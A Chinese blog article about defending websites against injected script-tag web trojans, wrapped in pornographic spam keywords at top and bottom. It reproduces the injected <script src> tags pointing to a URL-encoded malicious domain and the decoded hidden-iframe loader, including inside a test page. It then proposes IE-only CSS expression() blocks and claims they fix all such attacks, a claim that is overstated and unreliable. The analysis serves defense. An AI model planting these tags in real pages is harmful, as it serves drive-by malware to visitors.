天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

二行代碼解決全部網(wǎng)頁(yè)木馬

 前不久一行代碼解決iframe掛馬(包含服務(wù)器端注入、客戶端ARP注入等)》得到了很多朋友的認(rèn)可,這確實(shí)是個(gè)避避風(fēng)雨的好辦法。可現(xiàn)在掛網(wǎng)馬的方式真如我所料地改變了,現(xiàn)在流行掛<script>木馬,汗了,看了幾個(gè)網(wǎng)友的網(wǎng)站都被這樣了――頁(yè)面的頂部或底部加上了:

注意,以下地址含有木馬,請(qǐng)不要輕易訪問(wèn):

<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一連插入了N個(gè)一樣的<script>標(biāo)記。偶的電腦什么補(bǔ)丁都打了,直接訪問(wèn)這個(gè)http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現(xiàn)形了:

document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下載http://a.158dm.com/b1.htm這個(gè)文件,一看,亂七八糟的JS編碼,汗,不過(guò)找到了一個(gè)類似QQ號(hào)的數(shù)字,直接加加看,汗,然后是專業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費(fèi)蠻高滴呢!

...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL//XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個(gè)統(tǒng)計(jì)的JS代碼)
針對(duì)上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來(lái)看看,<script>木馬的特點(diǎn)是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

對(duì)了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這么多,來(lái)多少殺多少。

來(lái)跟我寫CSS,一一搞定它們,我寫了5種不同的方案,大家來(lái)測(cè)試一下哈:

解決方案1:

復(fù)制代碼 代碼如下:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/ 
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');} 
原理:將<script>標(biāo)記的src拿出來(lái)轉(zhuǎn)為小寫,再看是不是以“http”開(kāi)頭的外域JS腳本文件,如果是,則頁(yè)面內(nèi)容清空并寫出“木馬被成功隔離!”。反之正常顯示。

缺點(diǎn):訪客無(wú)法看到被感染了<script>木馬的頁(yè)面。

解決方案2:

復(fù)制代碼 代碼如下:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} 
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 

原理:將外域的JS文件的document.write()使用document.close()強(qiáng)制關(guān)閉。木馬內(nèi)容還沒(méi)有來(lái)得及寫完,只有部分被強(qiáng)制緩存輸出了,剩下的不會(huì)再寫了
解決方案3:

復(fù)制代碼 代碼如下:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} 
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} 

原理:同到外域的JS文件,立即調(diào)用IE私有的execCommand方法來(lái)停止頁(yè)面所有請(qǐng)求,所以接下來(lái)的外域JS文件也被強(qiáng)制停止下載了。就像我們點(diǎn)了瀏覽器的“停止”按鈕一樣。看來(lái)這是JS模擬IE停止按鈕的一種方法。

解決方案4:

復(fù)制代碼 代碼如下:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} 
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} 

原理:將外域的JS文件的src重寫成本地IE404錯(cuò)誤頁(yè)面的地址,這樣,外域的JS代碼不會(huì)下載。

解決方案5:

復(fù)制代碼 代碼如下:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} 
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));} 

第五種方案的頁(yè)面HTML源代碼<script>中要加入以"lh"為前綴的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下頁(yè)面代碼里含有一個(gè)木馬地址,而且木馬在頁(yè)面里重復(fù)了6次,大家分別用我上面的不同方案測(cè)試一下,看看我的研究如何!(此測(cè)試有一定的危險(xiǎn)性,請(qǐng)務(wù)必打好所有補(bǔ)丁再測(cè)試)

復(fù)制代碼 代碼如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>讓JS木馬的進(jìn)程迅速中止的CSS代碼</title> 
<style type="text/css" id="LinrStudio"> 
/*<![CDATA[*/ 
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} 
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} 
/* 以后請(qǐng)?jiān)诖岁P(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */ 
/*]]>*/ 
</style> 
</head> 
<body> 
<script type="text/Javascript" src="1.js"></script> 
<script src=http://%76%63%63%64%2E%63%6E></script> 
<script src="http://%76%63%63%64%2E%63%6E" type="text/Javascript"></script> 
<script src=http://%76%63%63%64%2E%63%6E></script> 
我是頁(yè)面本身的1 
<script src=http://%76%63%63%64%2E%63%6E></script> 
我是頁(yè)面本身的2 
<script src=http://%76%63%63%64%2E%63%6E></script> 
我是頁(yè)面本身的3 
<script src=http://%76%63%63%64%2E%63%6E></script> 
</body> 
</html>  
其中1.js是自己本站的:

document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的測(cè)試環(huán)境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好補(bǔ)丁。

綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問(wèn)題,訪客不會(huì)再輕易地中毒了。

大家也要仔細(xì)研究一下,看看我的代碼有什么BUG,有的話一定要拿出來(lái)討論,好解決問(wèn)題!或是各位有其他更好的辦法可以拿出來(lái)討論一下。

JavaScript技術(shù)二行代碼解決全部網(wǎng)頁(yè)木馬,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 日日操日日射 | 99热国产这里只有精品免费 | 日本69xx 老师 | 九九精品久久 | 性色无码AV久久蜜臀 | 国产久久亚洲美女久久 | 色淫阁色九九 | 狠狠撩色姣姣综合久久 | 亚洲精品第一国产综合 | 国产美女又黄又爽又色视频网站 | 2022精品福利在线小视频 | 最近中文字幕完整版免费高清 | 暖暖的高清视频在线观看免费中文 | 1区2区3区4区产品不卡码网站 | 国产欧美日韩综合精品一区二区 | 久久九九久精品国产尤物 | 吃寂寞寡妇的奶 | 超碰在线观看 | 偷拍自偷拍亚洲精品 | 麻豆高清免费国产一区 | 黑人巨茎vide抽搐 | 国产精品高清视频在线 | 双性诱受灌满哭求饶BL | 国产成人综合高清在线观看 | 高中生高潮抽搐喷出白浆视频 | 色欲AV精品人妻一区二区麻豆 | 亚洲视频成人 | 嫩草亚洲国产精品 | JLZZJLZZJLZ老师好多的水 jk制服喷水 | 把她带到密室调教性奴 | 中文字幕在线观看国产 | 恋夜影院安卓免费列表uc | 亚洲精品国产精品麻豆99 | 四虎永久在线精品国产免费 | 一个人HD高清在线观看免费视频 | 四虎永久免费 | 精彩国产萝视频在线 | 嫩草AV久久伊人妇女 | 超碰caoporn | 亚洲成人黄色在线 | 伦理 电影在线观看 |